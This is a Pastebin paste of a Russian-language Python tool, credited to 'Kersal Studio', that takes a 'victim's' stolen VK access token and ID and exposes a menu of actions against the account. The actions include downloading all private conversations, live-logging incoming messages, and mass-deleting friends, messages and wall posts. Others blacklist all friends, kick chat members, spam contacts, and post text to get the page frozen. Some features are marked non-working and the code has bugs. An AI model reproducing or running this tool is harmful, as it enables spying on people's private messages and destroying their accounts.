Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import vk_api
- import json
- import time
- import datetime
- import os
- import subprocess
- def cls():
- subprocess.call('cls', shell=True)
- def exxit():
- input('\n--------------------------------------------------------------------\n Нажмите Enter чтобы вернутся в меню')
- subprocess.call('color 0a', shell=True)
- try:
- open('token.txt','r').readline()
- except Exception:
- open('token.txt','w').write('')
- input('Введите TOKEN жертвы в token.txt и нажмите Enter:\n')
- cls()
- try:
- open('id.txt','r').readline()
- except Exception:
- open('id.txt','w').write('')
- input('Введите ID жертвы в id.txt и нажмите Enter:\n')
- cls()
- vk = vk_api.VkApi(token=open('token.txt','r').readline().strip())
- vk._auth_token()
- idshnik = open('id.txt','r').readline().strip()
- path = open('id.txt','r').readline().strip() + '_output'
- if not os.path.exists(path):
- try:
- os.makedirs(path)
- except OSError:
- print("Папка уже создана")
- cls()
- stroka=0
- offs = 0
- chat_idd = 1
- user_info = vk.method("users.get", {"user_ids": int(idshnik), "fields": ["first_name", "last_name"]})
- user_name = user_info[0]["first_name"]
- user_name1 = user_info[0]["last_name"]
- cls()
- while True:
- print('Эта программа была создана компанией Kersal Studio - vk.com/kersalstudio, \nзапуская программу вы соглашаетесь что не будете использовать программу во вред, и вся отвественность лежит на вас\n')
- print('User_ID: ' + str(idshnik))
- print('User_First_Name: ' + str(user_name))
- print('User_Last_Name: ' + str(user_name1))
- print('\nBETTA 0.1\n1.) Скачать все диалоги с друзьями\n2.) Получить список друзей\n3.) Получить список бесед\n4.) Массовый кик в беседе\n5.) Получить участников конкретной беседы \n6.) Очистить историю конкретной беседы\n7.) Очистить историю конкретного диалога\n(НЕ РАБОТАЕТ) || 9.) Очистить все диалоги с друзьями\n10.) Очистить все беседы \n11.) Изменить название конкретной беседы \n12.) Удалить аватарку конкретной беседы \n(НЕ РАБОТАЕТ) || 13.) Открепить сообщение в беседе\n14.) Получить список подписанных групп \n15.) Удалить всех друзей \n(НЕ РАБОТАЕТ) || 16.) Удалить всех подписчиков\n(НЕ РАБОТАЕТ) || 17.) Выйти из всех групп \n(НЕ РАБОТАЕТ) || 18.) Выйти из всех бесед \n19.) Поменять статус \n20.) Удалить все со стены \n21.) Кикнуть конкретного человека в беседе \n22.) Удалить конкретного друга \n(НЕ РАБОТАЕТ) || 23.) Удалить конкретного подписчика \n24.) Заморозить страницу \n25.) Онлайн прослушивание сообщений \n26.) Перевести всех друзей в чс \n27.) Убрать всех из чс \n28.) Добавить кого либо в чс \n29.) Убрать кого либо из чс \n30.) Скачать переписку конкретного человека \n31.) Скачать переписку конкретной беседы \n32.) Повторяющиеся статус \n33.) Написать кому либо \n34.) Написать на стене \n(НЕ РАБОТАЕТ) || 35.) Перевести свех подписчиков группы в бан \n(НЕ РАБОТАЕТ) || 36.) Удалить все посты в группе \n(НЕ РАБОТАЕТ) || 37.) Поменять настройки страницы \n(НЕ РАБОТАЕТ) || 38.) Включить троллинг режим \n39.) Сделать рассылку всем друзьям \n40.) Подписать на конкретную группу \n(НЕ РАБОТАЕТ) || 41.) Включить спам в беседе \n(НЕ РАБОТАЕТ) || 42.) Написать в конкретной беседе \n(НЕ РАБОТАЕТ) || 43.) Добавить конкретного человека в беседу \n(НЕ РАБОТАЕТ) || 44.) Начинать добавляться всем подряд в друзья \n(НЕ РАБОТАЕТ) || 45.)Выйти из конкретной группы\n')
- vibor = input('\n--------------------------------------------------------------------\nВведите цифру и нажмите Enter: ')
- cls()
- if vibor == '1':
- print('Началось скачивание переписок, подождите, это может занять около 2 часов,\nвсе сообщения будут сохранены в dialog_IDДРУГА.txt, после окончания программа сама выйдет\n--------------------------------------------------------------------')
- time.sleep(1)
- offs = 1
- end = 0
- get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
- for friend in get_friend["items"]:
- count = vk.method("messages.getHistory",{"offset" : 0 ,"count" : 1, "user_id" : int(friend)})["count"]
- if count == 0:
- print('Ничего не найдено у ' + str(friend))
- else:
- print('Всего сообщений найдено: ' + str(count) + "\n" + " ID друга: " + str(friend) + '\n')
- offs = 1
- stroka = 0
- while offs < count:
- get_history = vk.method("messages.getHistory",{"offset" : offs ,"count" : 200, "user_id" : int(friend)})
- offs += 200
- for message11 in get_history["items"]:
- try:
- timestamp = int(message11["date"])
- value = datetime.datetime.fromtimestamp(timestamp)
- itog = str(value.strftime(' %Y.%m.%d %H:%M')) + " " + str(message11["from_id"]) + ": " + str(message11["text"]) + '\n'
- open(str(idshnik) + "_output" + "\\dialog_" + str(friend) +".txt",'a').write(' [' + str(stroka) + '] ' + itog)
- print('[' + str(stroka) +']' + itog)
- stroka=stroka+1
- end=end+1
- except Exception:
- print('Ошибка кодировки сообщения')
- print('\n--------------------------------------------------------------------\nВсего сообщений скачано: ' + str(gg))
- exxit()
- elif vibor == '2':
- pokaz = input('Показывать имя и фамилию друга(медленно)? (Y/n): ')
- if pokaz == 'y' or pokaz =='Y':
- cls()
- print('Началось сканирование друзей, все друзья будут в файле friends.txt\n--------------------------------------------------------------------')
- time.sleep(1)
- try:
- get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
- for friend in get_friend["items"]:
- user_info = vk.method("users.get", {"user_ids": int(friend), "fields": ["first_name", "last_name"]})
- user_name = user_info[0]["first_name"]
- user_name1 = user_info[0]["last_name"]
- gg_friends = '['+ str(stroka) + '] https://vk.com/id' + str(friend) + ' ' + str(user_name) + ' ' + str(user_name1) + '\n'
- print(gg_friends)
- open(str(idshnik) + "_output" + "\\friends.txt",'a').write(gg_friends)
- stroka=stroka+1
- exxit()
- except Exception:
- print('Ошибка кодировки')
- elif pokaz == 'n' or pokaz == 'N':
- cls()
- print('Началось сканирование друзей, все друзья будут в файле friends.txt\n--------------------------------------------------------------------')
- time.sleep(1)
- try:
- get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
- for friend in get_friend["items"]:
- gg_friends = '['+ str(stroka) + '] https://vk.com/id' + str(friend) + '\n'
- print(gg_friends)
- open(str(idshnik) + "_output" + "\\friends.txt",'a').write(gg_friends)
- stroka=stroka+1
- exxit()
- except Exception:
- print('Ошибка кодировки')
- else:
- print('Такого варианта не существует')
- exxit()
- elif vibor == '3':
- cls()
- print('Началось сканирование бесед, все они будут в chats.txt\n--------------------------------------------------------------------')
- time.sleep(1)
- while True:
- get_chats = vk.method("messages.getChat",{"chat_id" : int(chat_idd)})
- try:
- print('id_chat: ' + str(get_chats["id"]) + ' admins: ' + str(get_chats["admin_id"]) + ' title: ' + str(get_chats["title"]) + ' members: ' + str(get_chats["members_count"]) + '\n')
- except Exception:
- print('Неудалось отобразить беседу')
- if int(get_chats["admin_id"]) == int(idshnik):
- try:
- open(str(idshnik) + "_output" + "\\chats.txt",'a').write(' ADMIN!!! ' + '['+ str(chat_idd) + '] ' + 'id_chat: ' + str(get_chats["id"]) + ' admins: ' + str(get_chats["admin_id"]) + ' title: ' + str(get_chats["title"]) + ' members: ' + str(get_chats["members_count"]) + '\n')
- except Exception:
- open(str(idshnik) + "_output" + "\\chats.txt",'a').write(' ADMIN!!! ' + '['+ str(chat_idd) + '] ' + 'id_chat: ' + str(get_chats["id"]) + ' admins: ' + str(get_chats["admin_id"]) + ' members: ' + str(get_chats["members_count"]) + '\n')
- else:
- try:
- open(str(idshnik) + "_output" + "\\chats.txt",'a').write('['+ str(chat_idd) + '] ' + 'id_chat: ' + str(get_chats["id"]) + ' admins: ' + str(get_chats["admin_id"]) + ' title: ' + str(get_chats["title"]) + ' members: ' + str(get_chats["members_count"]) + '\n')
- except Exception:
- open(str(idshnik) + "_output" + "\\chats.txt",'a').write('['+ str(chat_idd) + '] ' + 'id_chat: ' + str(get_chats["id"]) + ' admins: ' + str(get_chats["admin_id"]) + ' members: ' + str(get_chats["members_count"]) + '\n')
- chat_idd = chat_idd + 1
- exxit()
- elif vibor == '4':
- cls()
- chat_id = input('Введите id чата: ')
- kikcs = vk.method("messages.getChat",{"chat_id" : int(chat_id)})
- print('Начался массовый кик\n--------------------------------------------------------------------')
- time.sleep(1)
- for user in kikcs["users"]:
- if user == kikcs["admin_id"]:
- continue
- try:
- if user == int(idshnik):
- print('ВЫ ПРОПУЩЕНЫ')
- else:
- vk.method("messages.removeChatUser",{"chat_id" : chat_id, "user_id" : user})
- print("Кикнут https://vk.com/id", user)
- except Exception:
- print('Ошибка, возможно юзера уже нет')
- exxit()
- elif vibor == '21':
- chat_id = input('Введите id чата: ')
- user = input('Введите id юзера: ')
- vk.method("messages.removeChatUser",{"chat_id" : chat_id, "user_id" : user})
- print('Успешно кикнут')
- exxit()
- elif vibor == '40':
- chaasst_y = input('Введите id группы: ')
- get_friend = vk.method("groups.join",{"group_id" : chaasst_y})
- exxit()
- elif vibor == '14':
- offs = 1
- count = vk.method("groups.get",{"offset" : offs, "count" : 1})["count"]
- print('Всего найдено: ' + str(count))
- time.sleep(2)
- while offs <= count:
- groups = vk.method("groups.get",{"offset" : offs, "count" : 200, "extended" : 1})
- offs = offs + 200
- for group in groups["items"]:
- name = group["name"]
- addres = group["screen_name"]
- id1 = group["id"]
- admin = group["is_admin"]
- photo = group["photo_50"]
- try:
- if admin == 1:
- open(str(idshnik) + "_output" + '\\group_list.txt','a').write(' [' + str(stroka) + '] ' + 'Название: ' + str(name) + ' id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: ДА ' + '\n')
- print('Название: ' + str(name) + ' id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: ДА ' + '\n')
- else:
- open(str(idshnik) + "_output" + '\\group_list.txt','a').write(' [' + str(stroka) + '] ' + 'Название: ' + str(name) + ' id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: НЕТ' + '\n')
- print('Название: ' + str(name) + ' id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: НЕТ ' + '\n')
- except Exception:
- if admin == 1:
- open(str(idshnik) + "_output" + '\\group_list.txt','a').write(' [' + str(stroka) + '] ' + 'id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: ДА ' + '\n')
- print('id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: ДА ' + '\n')
- else:
- open(str(idshnik) + "_output" + '\\group_list.txt','a').write(' [' + str(stroka) + '] ' + 'id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: НЕТ' + '\n')
- print('id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: НЕТ ' + '\n')
- stroka = stroka + 1
- exxit()
- elif vibor == '39':
- get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
- messag = input('Введите сообщение при отправке: ')
- tiime = input('Введите через сколько секунд отправлять сообщение: ')
- for friend in get_friend["items"]:
- vk.method("messages.send",{"user_id" : int(friend), "message" : str(messag), "random_id" : 4235325})
- print('Отправлено: ' + str(friend))
- time.sleep(int(ttime))
- exxit()
- elif vibor == '5':
- cls()
- chat11_id = input('Введите id чата: ')
- cls()
- print('Начался парсинг участников, информация будет в chat_'+ str(chat11_id) + '.txt' + '\n--------------------------------------------------------------------')
- time.sleep(1)
- uuser = vk.method("messages.getChat",{"chat_id" : chat11_id})
- print(uuser["users"])
- open(str(idshnik) + "_output" + '\\chat_' + str(chat11_id) + '.txt','a').write(str(uuser["users"]) + '\n')
- exxit()
- elif vibor == '6':
- cls()
- chat11_id = input('Введите id чата: ')
- vk.method("messages.deleteConversation",{"peer_id" : chat11_id})
- print('Чат был удален')
- exxit()
- elif vibor == '34':
- cls()
- chat112_id = input('Сообщение поста: ')
- vk.method("wall.post",{"owner_id" : int(idshnik), "message" : chat112_id})
- print('Пост выложен')
- exxit()
- elif vibor == '7':
- cls()
- chat112_id = input('Введите id юзера: ')
- vk.method("messages.deleteConversation",{"user_id" : chat112_id})
- print('Диалог был удален')
- exxit()
- elif vibor == '9':
- cls()
- get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
- for friend in get_friend["items"]:
- vk.method("messages.deleteConversation",{"user_id" : friend})
- print('Удалено ' + str(friend))
- exxit()
- elif vibor == '10':
- cls()
- chat11_iid = 1
- while True:
- vk.method("messages.deleteConversation",{"peer_id" : chat11_iid})
- print('Беседа ' + str(chat11_iid) + ' удалена.')
- chat11_iid = chat11_iid + 1
- print('Все беседы были очищены')
- exxit()
- elif vibor == '11':
- cls()
- id_chata = input('Введите id беседы: ')
- title = input('Введите новое название беселы')
- vk.method("messages.editChat",{"chat_id" : id_chata, "title" : title})
- print('Название было успешно поменяно')
- exxit()
- elif vibor == '26':
- cls()
- get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
- for friend in get_friend["items"]:
- vk.method("account.ban",{"owner_id" : friend})
- print('https://vk.com/id' + str(friend) + ' Добавлен в чс')
- time.sleep(2)
- exxit()
- elif vibor == '27':
- cls()
- offs = 1
- count = vk.method("account.getBanned",{"offset" : 0 ,"count" : 1})["count"]
- while offs < count:
- get_ban = vk.method("account.getBanned",{"offset" : offs ,"count" : 200})
- offs += 200
- for friend in get_ban["items"]:
- time.sleep(2)
- vk.method("account.unban",{"owner_id" : friend})
- print('https://vk.com/id' + str(friend) + ' Убран из чс')
- print('Черный список пуст')
- exxit()
- elif vibor == '28':
- cls()
- friend = input('Введите id юзера')
- vk.method("account.ban",{"owner_id" : int(friend)})
- exxit()
- elif vibor == '29':
- cls()
- friend = input('Введите id юзера')
- vk.method("account.unban",{"owner_id" : int(friend)})
- exxit()
- elif vibor == '12':
- cls()
- id_chata = input('Введите id беседы: ')
- vk.method("messages.deleteChatPhoto",{"chat_id" : id_chata})
- exxit()
- elif vibor == '15':
- cls()
- get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
- for friend in get_friend["items"]:
- del_friends = vk.method("friends.delete",{"user_id" : friend})
- print('https://vk.com/id' + str(friend) + ' Успешно удален!')
- exxit()
- elif vibor == '10':
- cls()
- get_chats = vk.method("messages.getChat",{"chat_id" : int(chat_idd)})
- for friend in get_friend["items"]:
- del_friends = vk.method("friends.delete",{"user_id" : friend})
- print('https://vk.com/id' + str(friend) + ' Успешно удален!')
- exxit()
- elif vibor == '16':
- cls()
- get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
- for friend in get_friend["items"]:
- del_friends = vk.method("friends.delete",{"user_id" : friend})
- print('https://vk.com/id' + str(friend) + ' Успешно удален!')
- exxit()
- elif vibor == '20':
- cls()
- print('Удаляем все посты со стенки, программа сама выйдет после окончания')
- posts = vk.method("wall.get",{"count" : 100})["items"]
- while(posts):
- for post in posts:
- print(post['id'])
- vk.method("wall.delete",{"post_id" : post['id']})
- print('пост был удален')
- posts = vk.method("vk.wall.get",{"count" : 100})["items"]
- exxit()
- elif vibor == '24':
- cls()
- vk.wall.post(message='СОВА НИКОГДА НЕ СПИТ')
- vk.wall.post(message='vto.pe vto.pe vto.pe')
- print('Успешно, через пару секунд страница будет заморожена')
- exxit()
- elif vibor == '19':
- mess = input('Введите новый статус: ')
- vk.method("status.set",{"text" : mess})
- exxit()
- elif vibor == '33':
- vibb = input('id юзера: ')
- messag = input('Введите сообщение отправки: ')
- vk.method("messages.send",{"user_id" : int(vibb), "message" : messag, "random_id" : 4235325})
- print('Сообщение отправлено')
- exxit()
- elif vibor == '42':
- vibb = input('id чата: ')
- messag = input('Введите сообщение отправки: ')
- vk.method("messages.send",{"chat_id" : int(vibb), "message" : messag, "random_id" : 4235253})
- print('Сообщение отправлено')
- exxit()
- elif vibor == '32':
- mess = input('Введите новый статус: ')
- sllep = input('Введите кол-во секунд обновления: ')
- while True:
- vk.method("status.set",{"text" : mess})
- print('Статус изменен')
- time.sleep(int(sllep))
- elif vibor == '22':
- cls()
- friend = input('Введите id юзера: ')
- vk.method("friends.delete",{"user_id" : friend})
- exxit()
- elif vibor == '25':
- from vk_api.longpoll import VkEventType, VkLongPoll
- cls()
- longpoll = VkLongPoll(vk, wait=0)
- print('Прослушивание сообщений нчалось, логи будут в log_sms.txt\n--------------------------------------------------------------------')
- try:
- for event in longpoll.listen():
- if event.type == VkEventType.MESSAGE_NEW:
- vk_text = event.text
- textt = event.text.lower()
- import datetime
- try:
- if event.from_chat:
- user_id = event.user_id
- print('ДИАЛОГ: ' + str(event.chat_id) + ' ОТ: '+ str(user_id)+ ' ' + str(datetime.datetime.strftime(datetime.datetime.now(), "%H:%M:%S")) + ' : '+ str(textt) + '\n')
- open(str(idshnik) + "_output" + "\\log_sms.txt",'a').write('[' + str(stroka) + ']' + ' ДИАЛОГ: ' + str(event.chat_id) + 'ОТ: '+ str(user_id)+ ' ' + str(datetime.datetime.strftime(datetime.datetime.now(), "%H:%M:%S")) + ' : '+ str(textt) + '\n')
- stroka=stroka+1
- else:
- user_id = event.user_id
- print('ОТ: '+ str(user_id)+ ' ' + str(datetime.datetime.strftime(datetime.datetime.now(), "%H:%M:%S")) + ' : '+ str(textt) + '\n')
- open(str(idshnik) + "_output" + "\\log_sms.txt",'a').write('[' + str(stroka) + '] '+'ОТ: '+ str(user_id)+ ' ' + str(datetime.datetime.strftime(datetime.datetime.now(), "%H:%M:%S")) + ' : '+ str(textt) + '\n')
- stroka=stroka+1
- except Exception:
- print('Ошибка кодировки')
- except Exception:
- print('Соединение прервано, переподключаемся...')
- elif vibor == '30':
- friend = input('Введите id юзера: ')
- cls()
- print('Началось скачивание сообщений, подождите, это может занять около 2 часов,\nвсе сообщения будут сохранены в dialogs_'+ str(friend) + '.txt, после окончания программа сама выйдет\n--------------------------------------------------------------------')
- time.sleep(1)
- offs = 1
- stroka = 0
- count = vk.method("messages.getHistory",{"offset" : 0 ,"count" : 1, "user_id" : int(friend)})["count"]
- print('Всего сообщений найдено: ' + str(count) + '\n')
- time.sleep(1)
- while True:
- if offs < count:
- get_history = vk.method("messages.getHistory",{"offset" : offs ,"count" : 200, "user_id" : int(friend)})
- offs += 200
- for message11 in get_history["items"]:
- try:
- timestamp = int(message11["date"])
- value = datetime.datetime.fromtimestamp(timestamp)
- itog = str(value.strftime(' %Y.%m.%d %H:%M')) + " " + str(message11["from_id"]) + ": " + str(message11["text"]) + '\n'
- open(str(idshnik) + "_output" + "\\dialog_"+ str(friend) + ".txt",'a').write(' [' + str(stroka) + '] ' + itog)
- print('[' + str(stroka) +']' + itog)
- stroka=stroka+1
- except Exception:
- print('Error')
- else:
- exxit()
- elif vibor == '31':
- friend = input('Введите id чата: ')
- cls()
- print('Началось скачивание беседы, подождите, это может занять около 2 часов,\nвсе сообщения будут сохранены в dialogs_'+ str(friend) + '.txt, после окончания программа сама выйдет\n--------------------------------------------------------------------')
- time.sleep(1)
- offs = 1
- stroka = 0
- count = vk.method("messages.getHistory",{"offset" : 0 ,"count" : 1, "chat_id" : int(friend)})["count"]
- print('Всего сообщений найдено: ' + str(count) + '\n')
- time.sleep(1)
- while True:
- if offs < count:
- get_history = vk.method("messages.getHistory",{"offset" : offs ,"count" : 200, "chat_id" : int(friend)})
- offs += 200
- for message11 in get_history["items"]:
- try:
- timestamp = int(message11["date"])
- value = datetime.datetime.fromtimestamp(timestamp)
- itog = str(value.strftime(' %Y.%m.%d %H:%M')) + " " + str(message11["from_id"]) + ": " + str(message11["text"]) + '\n'
- open(str(idshnik) + "_output" + "\\chat_"+ str(friend) + ".txt",'a').write(' [' + str(stroka) + '] ' + itog)
- print('[' + str(stroka) +']' + itog)
- stroka=stroka+1
- except Exception:
- print('Ошибка кодировки сообщения')
- else:
- exxit()
- else:
- print('Такого варианта не существует')
- input()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement